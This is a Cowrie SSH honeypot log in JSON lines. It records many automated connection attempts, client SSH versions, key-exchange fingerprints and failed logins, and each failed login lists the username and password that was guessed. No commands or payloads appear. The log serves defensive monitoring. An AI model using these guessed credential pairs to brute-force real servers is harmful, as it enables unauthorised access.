{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:01:02.761792Z","src_ip":"20.87.219.67","session":"72f1fcc383da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:01:03.698595Z","src_ip":"20.87.219.67","session":"72f1fcc383da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:01:04.927923Z","src_ip":"20.87.219.67","session":"72f1fcc383da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.144.225.226","src_port":37398,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d235b6726cb","protocol":"ssh","message":"New connection: 154.144.225.226:37398 (159.203.135.109:22) [session: 3d235b6726cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:01:15.395123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:01:15.400587Z","src_ip":"154.144.225.226","session":"3d235b6726cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:01:15.525358Z","src_ip":"154.144.225.226","session":"3d235b6726cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123","message":"login attempt [root/Asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:01:16.057313Z","src_ip":"154.144.225.226","session":"3d235b6726cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:01:17.199566Z","src_ip":"154.144.225.226","session":"3d235b6726cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":39676,"dst_ip":"159.203.135.109","dst_port":22,"session":"918816b281b3","protocol":"ssh","message":"New connection: 103.107.60.45:39676 (159.203.135.109:22) [session: 918816b281b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:01:57.907111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:01:57.911946Z","src_ip":"103.107.60.45","session":"918816b281b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:01:58.137541Z","src_ip":"103.107.60.45","session":"918816b281b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"test123","message":"login attempt [user/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:01:59.037740Z","src_ip":"103.107.60.45","session":"918816b281b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:00.260053Z","src_ip":"103.107.60.45","session":"918816b281b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":44814,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1e83224cbc7","protocol":"ssh","message":"New connection: 121.168.139.251:44814 (159.203.135.109:22) [session: e1e83224cbc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:04.698138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:04.704873Z","src_ip":"121.168.139.251","session":"e1e83224cbc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:04.908602Z","src_ip":"121.168.139.251","session":"e1e83224cbc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:05.746496Z","src_ip":"121.168.139.251","session":"e1e83224cbc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:06.952450Z","src_ip":"121.168.139.251","session":"e1e83224cbc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":51570,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dca3237ad9c","protocol":"ssh","message":"New connection: 31.59.89.180:51570 (159.203.135.109:22) [session: 8dca3237ad9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:06.976894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:06.982423Z","src_ip":"31.59.89.180","session":"8dca3237ad9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:07.087102Z","src_ip":"31.59.89.180","session":"8dca3237ad9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"12345678","message":"login attempt [runner/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:07.524524Z","src_ip":"31.59.89.180","session":"8dca3237ad9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:08.629932Z","src_ip":"31.59.89.180","session":"8dca3237ad9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.158.146","src_port":34444,"dst_ip":"159.203.135.109","dst_port":22,"session":"d246895b7e49","protocol":"ssh","message":"New connection: 116.110.158.146:34444 (159.203.135.109:22) [session: d246895b7e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:12.818374Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":49134,"dst_ip":"159.203.135.109","dst_port":22,"session":"d36accc98a88","protocol":"ssh","message":"New connection: 103.15.222.183:49134 (159.203.135.109:22) [session: d36accc98a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:13.335386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:13.340338Z","src_ip":"103.15.222.183","session":"d36accc98a88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:13.584490Z","src_ip":"103.15.222.183","session":"d36accc98a88","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:14.256827Z","src_ip":"116.110.158.146","session":"d246895b7e49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:14.324419Z","src_ip":"103.15.222.183","session":"d36accc98a88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.38.73.89","src_port":40004,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9fc5a72b1ca","protocol":"ssh","message":"New connection: 156.38.73.89:40004 (159.203.135.109:22) [session: b9fc5a72b1ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:15.456855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:15.465501Z","src_ip":"156.38.73.89","session":"b9fc5a72b1ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:15.571666Z","src_ip":"103.15.222.183","session":"d36accc98a88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:15.666795Z","src_ip":"156.38.73.89","session":"b9fc5a72b1ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1","message":"login attempt [user1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:16.506453Z","src_ip":"156.38.73.89","session":"b9fc5a72b1ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:16.832108Z","src_ip":"116.110.158.146","session":"d246895b7e49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:17.713222Z","src_ip":"156.38.73.89","session":"b9fc5a72b1ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:20.599472Z","src_ip":"116.110.158.146","session":"d246895b7e49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:21.856450Z","src_ip":"116.110.158.146","session":"d246895b7e49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":51412,"dst_ip":"159.203.135.109","dst_port":22,"session":"525cfcee2704","protocol":"ssh","message":"New connection: 122.176.122.24:51412 (159.203.135.109:22) [session: 525cfcee2704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:27.300784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:27.309074Z","src_ip":"122.176.122.24","session":"525cfcee2704","protocol":"ssh"}
